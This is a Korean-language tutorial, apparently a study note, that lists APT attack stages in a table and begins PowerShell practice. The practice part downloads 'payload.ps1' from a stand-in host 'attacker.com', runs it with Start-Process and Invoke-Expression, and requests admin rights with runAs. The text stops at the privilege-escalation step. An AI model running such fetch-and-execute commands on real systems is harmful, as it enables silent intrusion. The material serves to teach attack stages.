• APT 공격 단계별 흐름 알아보기

1. APT 공격 단계별 전체 흐름

단계	설명	대표적 기법
1. 초기 침투 (Initial Access)	공격자가 처음으로 시스템에 접근	악성 .lnk, 스피어 피싱 메일, 취약한 원격 접속
2. 실행 (Execution)	감염된 시스템에서 실제 악성 코드 실행	PowerShell, 매크로 실행
3. 권한 상승 (Privilege Escalation)	일반 사용자한테 관리자 권한 획득	UAC 우회, 서비스 하이재킹
4. 지속성 확보 (Persistence)	재부팅 후에도 공격자가 계속 접근할 수 있게 준비	레지스트리, Scheduled Task
5. 명령 및 제어 (C2)	공격자가 시스템과 실시간 통신하며 명령 내리고 외부 제어 채널 구축	Reverse Shell, HTTP Beacon
6. 내부 정찰 (Discovery)	시스템/네트워크 탐색	whoami, ipconfig, Get-Process
7. 정보 탈취 / 영향 (Exfiltration / Impact)	데이터 유출, 시스템 파괴	파일 압축/전송, 파괴 명령, 랜섬웨어 배포

2. 각 단계별 파워쉘 실습

# 1. 초기 침투

Invoke-WebRequest -Uri "<http://attacker.com/payload.ps1>" -OutFile "$env:TEMP\\payload.ps1"
Start-Process "powershell.exe" -ArgumentList "-File $env:TEMP\\payload.ps1"

🟡 실행 결과

"payload.ps1"이라는 악성 스크립트가 인터넷에서 다운로드됨
PowerShell이 그 파일을 실행하면서 공격자의 다음 행위(예: reverse shell 등)가 실행됨
사용자는 아무 변화도 못 느끼지만 백그라운드에서 은밀히 실행됨

# 2. 실행

Invoke-Expression (Get-Content "$env:TEMP\\payload.ps1")

🟡 실행 결과

해당 스크립트 파일의 내용을 불러와서 해석하고 실행함
마치 사용자가 터미널에 직접 명령어를 입력한 것처럼 실행됨
예를 들어, payload.ps1에 calc.exe가 있으면 계산기가 실행됨

# 3. 권한 상승

Start-Process powershell -Verb runAs

🟡 실행 결과